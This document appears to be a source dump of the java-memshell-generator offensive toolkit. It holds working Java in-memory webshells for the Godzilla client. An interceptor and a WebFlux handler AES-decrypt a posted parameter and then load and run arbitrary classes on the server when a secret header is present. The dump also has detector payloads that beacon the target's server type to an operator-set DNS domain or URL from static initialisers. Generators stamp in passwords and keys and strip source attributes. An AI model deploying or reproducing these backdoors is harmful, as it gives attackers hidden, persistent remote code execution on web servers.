https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1712866280281.png -------------------------------------------------------------------------------- /jmg-docs/1.0.8/img/1712866419608.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1712866419608.png -------------------------------------------------------------------------------- /jmg-docs/1.0.8/img/1712867832438.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1712867832438.png -------------------------------------------------------------------------------- /jmg-docs/1.0.8/img/1712868077145.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1712868077145.png -------------------------------------------------------------------------------- /jmg-docs/1.0.8/img/1712868104094.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1712868104094.png -------------------------------------------------------------------------------- /jmg-docs/1.0.8/img/1712868281189.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1712868281189.png -------------------------------------------------------------------------------- /jmg-docs/1.0.8/img/1713209159695.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1713209159695.png -------------------------------------------------------------------------------- /jmg-docs/1.0.8/img/1713209182608.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1713209182608.png -------------------------------------------------------------------------------- /jmg-docs/1.0.8/img/1713209211285.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1713209211285.png -------------------------------------------------------------------------------- /jmg-docs/1.0.8/img/1713209265218.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1713209265218.png -------------------------------------------------------------------------------- /jmg-docs/1.0.8/img/1713209278067.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1713209278067.png -------------------------------------------------------------------------------- /jmg-docs/1.0.8/img/1713209302039.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1713209302039.png -------------------------------------------------------------------------------- /jmg-docs/1.0.8/img/1713209319058.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1713209319058.png -------------------------------------------------------------------------------- /jmg-docs/1.0.8/img/1713209337767.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1713209337767.png -------------------------------------------------------------------------------- /jmg-docs/1.0.8/img/1713209372043.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1713209372043.png -------------------------------------------------------------------------------- /jmg-docs/1.0.8/img/1713209382797.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1713209382797.png -------------------------------------------------------------------------------- /jmg-docs/1.0.8/img/1713209425091.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/1713209425091.png -------------------------------------------------------------------------------- /jmg-docs/1.0.8/img/image-20240412045841947.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/1.0.8/img/image-20240412045841947.png -------------------------------------------------------------------------------- /jmg-docs/README_EN.md: -------------------------------------------------------------------------------- 1 | todo -------------------------------------------------------------------------------- /jmg-docs/img/gui.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/img/gui.png -------------------------------------------------------------------------------- /jmg-docs/img/gui_250101.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/pen4uin/java-memshell-generator/3fe18fa470399824a2132ba7cabd48a42b265c10/jmg-docs/img/gui_250101.png -------------------------------------------------------------------------------- /jmg-extender/pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | jmg 8 | java-memshell-generator 9 | 1.0.9 10 | 11 | 12 | jmg-extender 13 | 14 | 15 | 8 16 | 8 17 | UTF-8 18 | 19 | 20 | 21 | ${parent.groupId} 22 | jmg-core 23 | ${parent.version} 24 | compile 25 | 26 | 27 | 28 | -------------------------------------------------------------------------------- /jmg-extender/src/main/java/jmg/extender/detector/DNSLogDetector.java: -------------------------------------------------------------------------------- 1 | package jmg.extender.detector; 2 | 3 | import java.net.InetAddress; 4 | import java.net.UnknownHostException; 5 | import java.util.ArrayList; 6 | import java.util.Map; 7 | 8 | public class DNSLogDetector { 9 | 10 | static { 11 | new DNSLogDetector(); 12 | } 13 | 14 | public DNSLogDetector(){ 15 | sendServerType(); 16 | } 17 | 18 | public static String getDomain(){ 19 | return ""; 20 | } 21 | 22 | private static void sendServerType() { 23 | ArrayList serverTypes = getServerType(); 24 | String dns_domain = getDomain(); 25 | String domain = ""; 26 | try { 27 | for (int i = 0; i < serverTypes.size(); i++) { 28 | Object obj = serverTypes.get(i); 29 | domain = String.format("%s.%d.%s",obj,System.nanoTime(),dns_domain); 30 | InetAddress.getAllByName(domain); 31 | } 32 | } catch (UnknownHostException e) { } 33 | } 34 | 35 | public static ArrayList getServerType() { 36 | ArrayList serverTypes = new ArrayList<>(); 37 | Map stackTraces = Thread.getAllStackTraces(); 38 | for (Map.Entry entry : stackTraces.entrySet()) { 39 | StackTraceElement[] stackTraceElements = entry.getValue(); 40 | for (StackTraceElement element : stackTraceElements) { 41 | if (element.getClassName().contains("org.apache.catalina.core")) { 42 | serverTypes.add("tomcat"); 43 | } 44 | if (element.getClassName().contains("weblogic.servlet.internal")) { 45 | serverTypes.add("weblogic"); 46 | } 47 | if (element.getClassName().contains("com.caucho.server")) { 48 | serverTypes.add("resin"); 49 | } 50 | if (element.getClassName().contains("org.eclipse.jetty.server")) { 51 | serverTypes.add("jetty"); 52 | } 53 | if (element.getClassName().contains("com.ibm.ws")) { 54 | serverTypes.add("websphere"); 55 | } 56 | if (element.getClassName().contains("io.undertow.server")) { 57 | serverTypes.add("undertow"); 58 | } 59 | if (element.getClassName().contains("com.tongweb.web")) { 60 | serverTypes.add("tongweb"); 61 | } 62 | if (element.getClassName().contains("com.apusic.web")) { 63 | serverTypes.add("apusic"); 64 | } 65 | if (element.getClassName().contains("org.springframework.web")) { 66 | serverTypes.add("spring"); 67 | } 68 | } 69 | if (serverTypes.size() > 7){ 70 | return serverTypes; 71 | } 72 | } 73 | 74 | if(serverTypes.size() == 0){ 75 | serverTypes.add("none"); 76 | } 77 | 78 | return serverTypes; 79 | } 80 | } 81 | -------------------------------------------------------------------------------- /jmg-extender/src/main/java/jmg/extender/detector/HTTPLogDetector.java: -------------------------------------------------------------------------------- 1 | package jmg.extender.detector; 2 | 3 | import java.io.IOException; 4 | import java.net.UnknownHostException; 5 | import java.util.ArrayList; 6 | import java.util.Map; 7 | 8 | 9 | public class HTTPLogDetector { 10 | 11 | static { 12 | new HTTPLogDetector(); 13 | } 14 | 15 | 16 | public HTTPLogDetector() { 17 | sendServerType(); 18 | } 19 | 20 | public static String getBaseURL() { 21 | return ""; 22 | } 23 | 24 | 25 | private static void sendServerType() { 26 | ArrayList serverTypes = getServerType(); 27 | String baseurl = getBaseURL(); 28 | try { 29 | for (int i = 0; i < serverTypes.size(); i++) { 30 | Object server_type = serverTypes.get(i); 31 | String tmpUrl = String.format("%s/%s", baseurl, server_type); 32 | new java.net.URL(tmpUrl).getContent(); 33 | } 34 | } catch (UnknownHostException ignored) { 35 | } catch (IOException e) { 36 | throw new RuntimeException(e); 37 | } 38 | } 39 | 40 | 41 | public static ArrayList getServerType() { 42 | ArrayList serverTypes = new ArrayList<>(); 43 | Map stackTraces = Thread.getAllStackTraces(); 44 | for (Map.Entry entry : stackTraces.entrySet()) { 45 | StackTraceElement[] stackTraceElements = entry.getValue(); 46 | for (StackTraceElement element : stackTraceElements) { 47 | if (element.getClassName().contains("org.apache.catalina.core")) { 48 | serverTypes.add("tomcat"); 49 | } 50 | if (element.getClassName().contains("weblogic.servlet.internal")) { 51 | serverTypes.add("weblogic"); 52 | } 53 | if (element.getClassName().contains("com.caucho.server")) { 54 | serverTypes.add("resin"); 55 | } 56 | if (element.getClassName().contains("org.eclipse.jetty.server")) { 57 | serverTypes.add("jetty"); 58 | } 59 | if (element.getClassName().contains("com.ibm.ws")) { 60 | serverTypes.add("websphere"); 61 | } 62 | if (element.getClassName().contains("io.undertow.server")) { 63 | serverTypes.add("undertow"); 64 | } 65 | if (element.getClassName().contains("com.tongweb.web")) { 66 | serverTypes.add("tongweb"); 67 | } 68 | if (element.getClassName().contains("com.apusic.web")) { 69 | serverTypes.add("apusic"); 70 | } 71 | if (element.getClassName().contains("org.springframework.web")) { 72 | serverTypes.add("spring"); 73 | } 74 | } 75 | if (serverTypes.size() > 7){ 76 | return serverTypes; 77 | } 78 | } 79 | 80 | if(serverTypes.size() == 0){ 81 | serverTypes.add("none"); 82 | } 83 | 84 | return serverTypes; 85 | } 86 | } 87 | -------------------------------------------------------------------------------- /jmg-extender/src/main/java/jmg/extender/detector/SleepDetector.java: -------------------------------------------------------------------------------- 1 | package jmg.extender.detector; 2 | 3 | import java.util.Map; 4 | 5 | public class SleepDetector { 6 | 7 | static { 8 | new SleepDetector(); 9 | } 10 | 11 | public SleepDetector() { 12 | initServerType(); 13 | } 14 | 15 | public static String getServerType() { 16 | return "tomcat"; 17 | } 18 | 19 | private static void execSleep() { 20 | try { 21 | Thread.sleep(5000); 22 | } catch (Exception e) { 23 | } 24 | } 25 | 26 | public static void initServerType() { 27 | String target_server_type = getServerType(); 28 | Map stackTraces = Thread.getAllStackTraces(); 29 | for (Map.Entry entry : stackTraces.entrySet()) { 30 | StackTraceElement[] stackTraceElements = entry.getValue(); 31 | for (StackTraceElement element : stackTraceElements) { 32 | if (target_server_type.equals("tomcat") && element.getClassName().contains("org.apache.catalina.core")) { 33 | execSleep(); 34 | return; 35 | } 36 | if (target_server_type.equals("weblogic") && element.getClassName().contains("weblogic.servlet.internal")) { 37 | execSleep(); 38 | return; 39 | } 40 | if (target_server_type.equals("resin") && element.getClassName().contains("com.caucho.server")) { 41 | execSleep(); 42 | return; 43 | } 44 | if (target_server_type.equals("jetty") && element.getClassName().contains("org.eclipse.jetty.server")) { 45 | execSleep(); 46 | return; 47 | } 48 | if (target_server_type.equals("websphere") && element.getClassName().contains("com.ibm.ws")) { 49 | execSleep(); 50 | return; 51 | } 52 | if (target_server_type.equals("undertow") && element.getClassName().contains("io.undertow.server")) { 53 | execSleep(); 54 | return; 55 | } 56 | if (target_server_type.equals("tongweb") && element.getClassName().contains("com.tongweb.web")) { 57 | execSleep(); 58 | return; 59 | } 60 | if (target_server_type.equals("apusic") && element.getClassName().contains("com.apusic.web")) { 61 | execSleep(); 62 | return; 63 | } 64 | if (target_server_type.equals("spring") && element.getClassName().contains("org.springframework.web")) { 65 | execSleep(); 66 | return; 67 | } 68 | } 69 | } 70 | } 71 | } 72 | -------------------------------------------------------------------------------- /jmg-extender/src/main/java/jmg/extender/generator/ExtenderGenerator.java: -------------------------------------------------------------------------------- 1 | package jmg.extender.generator; 2 | 3 | import javassist.ClassClassPath; 4 | import javassist.ClassPool; 5 | import javassist.CtClass; 6 | import javassist.CtMethod; 7 | import jmg.core.config.AbstractConfig; 8 | import jmg.core.config.Constants; 9 | import jmg.core.util.CtClassUtil; 10 | import jmg.core.util.JavassistUtil; 11 | import jmg.extender.util.DetectorUtil; 12 | 13 | /** 14 | * 中间件/框架探测器 15 | */ 16 | public class ExtenderGenerator { 17 | 18 | public byte[] makeShell(AbstractConfig config) throws Exception { 19 | String detectorClassName = DetectorUtil.getDetectorClassName(config.getDetectWay()); 20 | byte[] bytes = Utils.generate(detectorClassName, config); 21 | config.setExtenderBytes(bytes); 22 | config.setExtenderBytesLength(bytes.length); 23 | return bytes; 24 | } 25 | 26 | 27 | public static class Utils { 28 | @SuppressWarnings("unchecked") 29 | private final static ClassPool pool = ClassPool.getDefault(); 30 | private static byte[] bytes; 31 | 32 | public static byte[] generate(String detectorClassName, AbstractConfig config) throws Exception { 33 | pool.insertClassPath(new ClassClassPath(ExtenderGenerator.class)); 34 | CtClass ctClass = pool.getCtClass(detectorClassName); 35 | JavassistUtil.setNameIfNotNull(ctClass, config.getExtenderClassName()); 36 | if (config.getDetectWay().contains(Constants.DETECT_DNS)) { 37 | if (config.getDnsDomain() != null) { 38 | CtMethod getDomain = ctClass.getDeclaredMethod("getDomain"); 39 | getDomain.setBody(String.format("{return \"%s\";}", config.getDnsDomain())); 40 | } 41 | } else if (config.getDetectWay().contains(Constants.DETECT_HTTP)) { 42 | if (config.getDnsDomain() != null) { 43 | CtMethod getBaseURL = ctClass.getDeclaredMethod("getBaseURL"); 44 | getBaseURL.setBody(String.format("{return \"%s\";}", config.getBaseUrl())); 45 | } 46 | } else if (config.getDetectWay().contains(Constants.DETECT_SLEEP)) { 47 | if (config.getSleepTime() != null) { 48 | CtMethod getSeconds = ctClass.getDeclaredMethod("execSleep"); 49 | getSeconds.setBody(String.format("try{java.lang.Thread.sleep(%sL);}catch (Exception e){}", Integer.valueOf(config.getSleepTime()) * 1000)); 50 | } 51 | if (config.getServerType() != null) { 52 | CtMethod getServerType = ctClass.getDeclaredMethod("getServerType"); 53 | getServerType.setBody(String.format("{return \"%s\";}", config.getServerType().toLowerCase())); 54 | } 55 | } 56 | JavassistUtil.setNameIfNotNull(ctClass, config.getExtenderClassName()); 57 | JavassistUtil.removeSourceFileAttribute(ctClass); 58 | bytes = new CtClassUtil(config, pool, ctClass).modifyForExploitation(); 59 | ctClass.detach(); 60 | 61 | return bytes; 62 | } 63 | } 64 | } 65 | -------------------------------------------------------------------------------- /jmg-extender/src/main/java/jmg/extender/util/DetectorUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.extender.util; 2 | 3 | import jmg.core.config.Constants; 4 | import jmg.extender.detector.DFSEchoDetector; 5 | import jmg.extender.detector.DNSLogDetector; 6 | import jmg.extender.detector.HTTPLogDetector; 7 | import jmg.extender.detector.SleepDetector; 8 | 9 | import java.util.HashMap; 10 | import java.util.Map; 11 | 12 | public class DetectorUtil { 13 | 14 | private static final Map DETECTOR_CLASSNAME_MAP = new HashMap(); 15 | 16 | public DetectorUtil() { 17 | } 18 | 19 | public static String getDetectorClassName(String detectWay) throws Exception { 20 | if (DETECTOR_CLASSNAME_MAP.get(detectWay) == null) { 21 | throw new Exception("Invalid detect way '" + detectWay + "'"); 22 | } else { 23 | return DETECTOR_CLASSNAME_MAP.getOrDefault(detectWay, ""); 24 | } 25 | } 26 | 27 | static { 28 | DETECTOR_CLASSNAME_MAP.put(Constants.DETECT_DFSECHO, DFSEchoDetector.class.getName()); 29 | DETECTOR_CLASSNAME_MAP.put(Constants.DETECT_DNS, DNSLogDetector.class.getName()); 30 | DETECTOR_CLASSNAME_MAP.put(Constants.DETECT_HTTP, HTTPLogDetector.class.getName()); 31 | DETECTOR_CLASSNAME_MAP.put(Constants.DETECT_SLEEP, SleepDetector.class.getName()); 32 | } 33 | } 34 | -------------------------------------------------------------------------------- /jmg-godzilla/pom.xml: -------------------------------------------------------------------------------- 1 | 3 | 4.0.0 4 | 5 | jmg 6 | java-memshell-generator 7 | 1.0.9 8 | 9 | jmg-godzilla 10 | 11 | 12 | 13 | 14 | ${parent.groupId} 15 | jmg-core 16 | ${parent.version} 17 | compile 18 | 19 | 20 | 21 | 22 | -------------------------------------------------------------------------------- /jmg-godzilla/src/main/java/jmg/godzilla/generator/GodzillaGenerator.java: -------------------------------------------------------------------------------- 1 | package jmg.godzilla.generator; 2 | 3 | import javassist.ClassClassPath; 4 | import javassist.CtClass; 5 | import jmg.godzilla.util.ShellUtil; 6 | import jmg.core.config.AbstractConfig; 7 | import jmg.core.config.Constants; 8 | import jmg.core.generator.IShellGenerator; 9 | import jmg.core.util.CommonUtil; 10 | import jmg.core.util.JavassistUtil; 11 | import jmg.core.util.ResponseUtil; 12 | import me.gv7.woodpecker.tools.common.FileUtil; 13 | 14 | public class GodzillaGenerator implements IShellGenerator { 15 | 16 | @Override 17 | public void initShell(AbstractConfig config) { 18 | if (config.getPass() == null) config.setPass(CommonUtil.genRandomLengthString(6)); 19 | if (config.getKey() == null) config.setKey(CommonUtil.genRandomLengthString(6)); 20 | } 21 | 22 | @Override 23 | public byte[] makeShell(AbstractConfig config) throws Exception { 24 | initShell(config); 25 | String shellName = ShellUtil.getShellName(config.getToolType(), config.getShellType()); 26 | String shellClassName = ShellUtil.getShellClassName(shellName); 27 | byte[] bytes = modifyShell(shellClassName, config); 28 | config.setShellBytes(bytes); 29 | config.setShellBytesLength(bytes.length); 30 | config.setShellGzipBase64String(CommonUtil.encodeBase64(CommonUtil.gzipCompress(bytes))); 31 | return bytes; 32 | } 33 | 34 | @Override 35 | public byte[] modifyShell(String className, AbstractConfig config) { 36 | byte[] bytes = new byte[0]; 37 | try { 38 | pool.insertClassPath(new ClassClassPath(GodzillaGenerator.class)); 39 | CtClass ctClass = pool.getCtClass(className); 40 | // lambda 表达式 41 | if (!config.getShellType().equals(Constants.SHELL_WF_HANDLERMETHOD)) { 42 | ctClass.getClassFile().setVersionToJava5(); 43 | } 44 | JavassistUtil.addStaticFieldIfNotNull(ctClass, "pass", config.getPass()); 45 | JavassistUtil.addStaticFieldIfNotNull(ctClass, "key", CommonUtil.getMd5(config.getKey()).substring(0, 16)); 46 | 47 | if (!config.getShellType().equals(Constants.SHELL_WF_HANDLERMETHOD)) { 48 | JavassistUtil.addFieldIfNotNull(ctClass, "headerName", config.getHeaderName()); 49 | JavassistUtil.addFieldIfNotNull(ctClass, "headerValue", config.getHeaderValue()); 50 | } 51 | JavassistUtil.setNameIfNotNull(ctClass, config.getShellClassName()); 52 | 53 | if (config.getShellType().equals(Constants.SHELL_LISTENER)) { 54 | String methodBody = ResponseUtil.getMethodBody(config.getServerType()); 55 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody); 56 | } 57 | if (config.getShellType().equals(Constants.SHELL_JAKARTA_LISTENER)) { 58 | String methodBody = ResponseUtil.getMethodBody(config.getServerType()); 59 | methodBody = methodBody.replace("javax.servlet.", "jakarta.servlet."); 60 | JavassistUtil.addMethod(ctClass, "getResponseFromRequest", methodBody); 61 | } 62 | 63 | JavassistUtil.removeSourceFileAttribute(ctClass); 64 | bytes = ctClass.toBytecode(); 65 | ctClass.detach(); 66 | } catch (Exception e) { 67 | e.printStackTrace(); 68 | throw new RuntimeException(e); 69 | } 70 | return bytes; 71 | } 72 | 73 | } 74 | -------------------------------------------------------------------------------- /jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaInterceptor.java: -------------------------------------------------------------------------------- 1 | package jmg.godzilla.memshell; 2 | 3 | import org.springframework.web.servlet.AsyncHandlerInterceptor; 4 | 5 | import javax.crypto.Cipher; 6 | import javax.crypto.spec.SecretKeySpec; 7 | import javax.servlet.http.HttpServletRequest; 8 | import javax.servlet.http.HttpServletResponse; 9 | import javax.servlet.http.HttpSession; 10 | import java.io.ByteArrayOutputStream; 11 | import java.math.BigInteger; 12 | import java.security.MessageDigest; 13 | 14 | public class GodzillaInterceptor extends ClassLoader implements AsyncHandlerInterceptor { 15 | 16 | public static String key; 17 | public static String pass; 18 | public static String md5; 19 | 20 | public String headerName; 21 | 22 | public String headerValue; 23 | 24 | static { 25 | md5 = md5(pass + key); 26 | } 27 | 28 | public GodzillaInterceptor() { 29 | } 30 | 31 | public GodzillaInterceptor(ClassLoader z) { 32 | super(z); 33 | md5 = md5(pass + key); 34 | } 35 | 36 | 37 | public Class Q(byte[] cb) { 38 | return super.defineClass(cb, 0, cb.length); 39 | } 40 | 41 | public byte[] x(byte[] s, boolean m) { 42 | try { 43 | 44 | Cipher c = Cipher.getInstance("AES"); 45 | c.init(m ? 1 : 2, new SecretKeySpec(key.getBytes(), "AES")); 46 | return c.doFinal(s); 47 | } catch (Exception var4) { 48 | return null; 49 | } 50 | } 51 | 52 | 53 | public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { 54 | if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { 55 | HttpSession session = request.getSession(); 56 | byte[] data = b64Decode(request.getParameter(pass)); 57 | data = this.x(data, false); 58 | if (session.getAttribute("payload") == null) { 59 | session.setAttribute("payload", (new GodzillaInterceptor(this.getClass().getClassLoader())).Q(data)); 60 | } else { 61 | request.setAttribute("parameters", data); 62 | ByteArrayOutputStream arrOut = new ByteArrayOutputStream(); 63 | Object f; 64 | try { 65 | f = ((Class) session.getAttribute("payload")).newInstance(); 66 | } catch (InstantiationException | IllegalAccessException e) { 67 | throw new RuntimeException(e); 68 | } 69 | f.equals(arrOut); 70 | // f.equals(data); 71 | f.equals(request); 72 | response.getWriter().write(md5.substring(0, 16)); 73 | f.toString(); 74 | response.getWriter().write(base64Encode(this.x(arrOut.toByteArray(), true))); 75 | response.getWriter().write(md5.substring(16)); 76 | } 77 | return false; 78 | } else { 79 | return true; 80 | } 81 | } 82 | 83 | public static String md5(String s) { 84 | String ret = null; 85 | try { 86 | MessageDigest m = MessageDigest.getInstance("MD5"); 87 | m.update(s.getBytes(), 0, s.length()); 88 | ret = (new BigInteger(1, m.digest())).toString(16).toUpperCase(); 89 | } catch (Exception var3) { 90 | } 91 | return ret; 92 | } 93 | 94 | public static String base64Encode(byte[] bs) throws Exception { 95 | String value = null; 96 | Class base64; 97 | try { 98 | base64 = Class.forName("java.util.Base64"); 99 | Object Encoder = base64.getMethod("getEncoder", (Class[]) null).invoke(base64, (Object[]) null); 100 | value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, bs); 101 | } catch (Exception var6) { 102 | try { 103 | base64 = Class.forName("sun.misc.BASE64Encoder"); 104 | Object Encoder = base64.newInstance(); 105 | value = (String) Encoder.getClass().getMethod("encode", byte[].class).invoke(Encoder, bs); 106 | } catch (Exception var5) { 107 | } 108 | } 109 | return value; 110 | } 111 | 112 | public static byte[] b64Decode(String bs) throws Exception { 113 | byte[] value = null; 114 | 115 | Class base64; 116 | try { 117 | base64 = Class.forName("java.util.Base64"); 118 | Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); 119 | value = (byte[]) ((byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs)); 120 | } catch (Exception var6) { 121 | try { 122 | base64 = Class.forName("sun.misc.BASE64Decoder"); 123 | Object decoder = base64.newInstance(); 124 | value = (byte[]) ((byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs)); 125 | } catch (Exception var5) { 126 | } 127 | } 128 | 129 | return value; 130 | } 131 | } 132 | 133 | -------------------------------------------------------------------------------- /jmg-godzilla/src/main/java/jmg/godzilla/memshell/GodzillaWebFluxHandlerMethod.java: -------------------------------------------------------------------------------- 1 | package jmg.godzilla.memshell; 2 | 3 | import org.springframework.http.HttpStatus; 4 | import org.springframework.http.ResponseEntity; 5 | import org.springframework.web.server.ServerWebExchange; 6 | import reactor.core.publisher.Mono; 7 | 8 | import java.lang.reflect.Method; 9 | import java.net.URL; 10 | import java.net.URLClassLoader; 11 | import java.util.HashMap; 12 | import java.util.Map; 13 | 14 | public class GodzillaWebFluxHandlerMethod { 15 | public static Map store = new HashMap(); 16 | public static String key; 17 | public static String pass; 18 | public static String md5; 19 | 20 | public GodzillaWebFluxHandlerMethod() { 21 | } 22 | 23 | static { 24 | md5 = md5(pass + key); 25 | } 26 | 27 | 28 | private static Class defineClass(byte[] classbytes) throws Exception { 29 | URLClassLoader urlClassLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); 30 | Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 31 | method.setAccessible(true); 32 | return (Class) method.invoke(urlClassLoader, classbytes, 0, classbytes.length); 33 | } 34 | 35 | public byte[] x(byte[] s, boolean m) { 36 | try { 37 | javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); 38 | c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(key.getBytes(), "AES")); 39 | return c.doFinal(s); 40 | } catch (Exception e) { 41 | return null; 42 | } 43 | } 44 | 45 | public static String md5(String s) { 46 | String ret = null; 47 | try { 48 | java.security.MessageDigest m; 49 | m = java.security.MessageDigest.getInstance("MD5"); 50 | m.update(s.getBytes(), 0, s.length()); 51 | ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase(); 52 | } catch (Exception e) { 53 | } 54 | return ret; 55 | } 56 | 57 | public static String base64Encode(byte[] bs) throws Exception { 58 | Class base64; 59 | String value = null; 60 | try { 61 | base64 = Class.forName("java.util.Base64"); 62 | Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); 63 | value = (String) Encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); 64 | } catch (Exception e) { 65 | try { 66 | base64 = Class.forName("sun.misc.BASE64Encoder"); 67 | Object Encoder = base64.newInstance(); 68 | value = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bs}); 69 | } catch (Exception e2) { 70 | } 71 | } 72 | return value; 73 | } 74 | 75 | public static byte[] base64Decode(String bs) throws Exception { 76 | Class base64; 77 | byte[] value = null; 78 | try { 79 | base64 = Class.forName("java.util.Base64"); 80 | Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); 81 | value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); 82 | } catch (Exception e) { 83 | try { 84 | base64 = Class.forName("sun.misc.BASE64Decoder"); 85 | Object decoder = base64.newInstance(); 86 | value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); 87 | } catch (Exception e2) { 88 | } 89 | } 90 | return value; 91 | } 92 | 93 | public synchronized ResponseEntity invoke(ServerWebExchange exchange) { 94 | try { 95 | Object bufferStream = exchange.getFormData().flatMap(c -> { 96 | StringBuilder result = new StringBuilder(); 97 | try { 98 | String id = c.getFirst(pass); 99 | byte[] data = x(base64Decode(id), false); 100 | if (store.get("payload") == null) { 101 | store.put("payload", defineClass(data)); 102 | } else { 103 | store.put("parameters", data); 104 | java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); 105 | Object f = ((Class) store.get("payload")).newInstance(); 106 | f.equals(arrOut); 107 | f.equals(data); 108 | result.append(md5.substring(0, 16)); 109 | f.toString(); 110 | result.append(base64Encode(x(arrOut.toByteArray(), true))); 111 | result.append(md5.substring(16)); 112 | } 113 | } catch (Exception ex) { 114 | result.append(ex.getMessage()); 115 | } 116 | return Mono.just(result.toString()); 117 | }); 118 | return new ResponseEntity(bufferStream, HttpStatus.OK); 119 | } catch (Exception ex) { 120 | return new ResponseEntity(ex.getMessage(), HttpStatus.OK); 121 | } 122 | } 123 | } -------------------------------------------------------------------------------- /jmg-godzilla/src/main/java/jmg/godzilla/util/ShellUtil.java: -------------------------------------------------------------------------------- 1 | package jmg.godzilla.util; 2 | 3 | import jmg.core.config.Constants; 4 | import jmg.godzilla.memshell.*; 5 | 6 | import java.util.HashMap; 7 | import java.util.Map; 8 | 9 | public class ShellUtil { 10 | 11 | private static final Map SHELL_CLASSNAME_MAP = new HashMap(); 12 | private static final Map> toolMap = new HashMap(); 13 | 14 | public ShellUtil() { 15 | } 16 | 17 | public static String getShellName(String toolType, String shellType) { 18 | Map shellMap = toolMap.get(toolType); 19 | return shellMap == null ? "" : shellMap.getOrDefault(shellType, ""); 20 | } 21 | 22 | public static String getShellClassName(String shellName) throws Exception { 23 | if (SHELL_CLASSNAME_MAP.get(shellName) == null) { 24 | throw new Exception("Invalid shell type '" + shellName + "'"); 25 | } else { 26 | return SHELL_CLASSNAME_MAP.getOrDefault(shellName, ""); 27 | } 28 | } 29 | 30 | static { 31 | SHELL_CLASSNAME_MAP.put(GodzillaFilter.class.getSimpleName(), GodzillaFilter.class.getName()); 32 | SHELL_CLASSNAME_MAP.put(GodzillaListener.class.getSimpleName(), GodzillaListener.class.getName()); 33 | SHELL_CLASSNAME_MAP.put(GodzillaInterceptor.class.getSimpleName(), GodzillaInterceptor.class.getName()); 34 | SHELL_CLASSNAME_MAP.put(GodzillaWebFluxHandlerMethod.class.getSimpleName(), 